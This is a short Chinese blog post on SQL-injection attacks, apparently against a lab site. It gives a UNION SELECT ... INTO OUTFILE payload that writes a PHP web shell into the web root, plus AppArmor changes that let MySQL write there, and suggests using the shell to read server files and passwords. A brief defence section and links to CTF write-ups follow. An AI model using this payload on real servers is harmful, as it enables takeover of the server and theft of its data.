web安全：sql 注入

sql注入获取webshell
寻找sql注入页面，操作数据库的地方
向网站写入sql语句
' union select 1,2, '<?php system($_GET["cmd"]);?>' into outfile '/var/www/myzoo/cmd.php'

发现mysql没有写入权限，于是在apparmor中为mysql添加权限
vi /etc/apparmor.d/usr.sbin.mysqld
在文件最后添加：/var/www/myzoo/* rw,
然后重启apache重启apparmor
重新注入

*一般来说，嗅探1，2需要采用benchmark函数，根据返回时间来判断数据库表结构
*本网站是直接暴露数据库表结构的

于是在网站根目录写入了cmd.php文件
利用此文件执行我们想要做的事情
比如：查看服务器所有文件密码或者其他的

防御sql注入获取webshell：

1.如果在编写SQL语句的时候，用户输入的变量不是直接嵌入到SQL语句。而是通过参数来传递这个变量的话，那么就可以有效的防治SQL注入式攻击。也就是说，用户的输入绝对不能够直接被嵌入到SQL语句中。与此相反，用户的输入的内容必须进行过滤，或者使用参数化的语句来传递用户输入的变量。

2.普通用户和系统用户权限设置

3.正则表达式验证用户输入，等等。

hash冲突dos网站攻击下次更新了

转载于:https://www.cnblogs.com/ailx10/p/5251739.html

web安全：sql 注入相关推荐

CTFshow——web入门——sql注入
web入门--sql注入基础知识点判断是否注入 order by 判断列数使用union select 判断回显查询数据库 web171 web172 web173 web174 web175 ...
ctfshow web入门-sql注入
ctfshow web入门-sql注入 web171 web172 web173 web174 web175 web176 web177 web178 web179 web180 web181 web ...
web之SQL注入篇BUU
web之SQL注入篇BUU [强网杯 2019]随便注预处理语句 handler [SUCTF 2019]EasySQL 判断是字符型还是数字型注入判断是否可以联合查询判断是否可以使堆叠注入 | ...
《从0到1：CTFer成长之路》书籍配套题目-[第一章 web入门]SQL注入-2
[第一章 web入门]SQL注入-2 一.信息收集 1.首页 2.登录成功会跳转到 3.进行测试判断二.尝试破解 1.用post型的sqlmap破解 <1>.首先,开burp截包 < ...
web漏洞-SQL注入漏洞、目录遍历漏洞、文件下载漏洞
这里用到的是Pikachu漏洞练习平台一.SQL注入漏洞-数字型注入 SQL注入漏洞简介在owasp发布的top10排行榜里,注入漏洞一直是危害排名第一的漏洞,其中注入漏洞里面首当其冲的就是数据库 ...
web测试-sql注入漏洞
1.web程序三层结构 2.什么是sql注入 SQL注入是将Web页面的原URL.表单域或数据包输入的参数,修改拼接成SQL语句,传递给Web服务器,进而传给数据库服务器以执行数据库命令. 注入攻击 ...
【ctfshow】web篇-SQL注入 wp
前言记录web的题目wp,慢慢变强,铸剑. SQL注入 web171 根据语句可以看到有flag没有被显示出来,让我们拼接语句来绕过 //拼接sql语句查找指定ID用户 $sql = "s ...
Web渗透-SQL注入
渗透测试基础一.渗透攻击流程二.渗透测试主流工具域名注册信息查询: Whois在线查询目标网络信息DNS和IP,nslookup 在线漏洞搜索引擎: fofa.info,shodan.io,zo ...
ctfshow web入门 sql注入
无过滤注入 web171 查询语句 $sql = "select username,password from user where username !='flag' and id = ' ...
WEB安全-SQL注入
注意:文章仅供大家参考学习文章目录前言一.SQL注入是什么? 二.造成SQL注入的原因三.SQL注入原理四.修复建议五.靶场演示六.关键分析代码前言注意:文章仅供大家参考网络安全中 ...

web安全：sql 注入

web安全：sql 注入相关推荐

最新文章

热门文章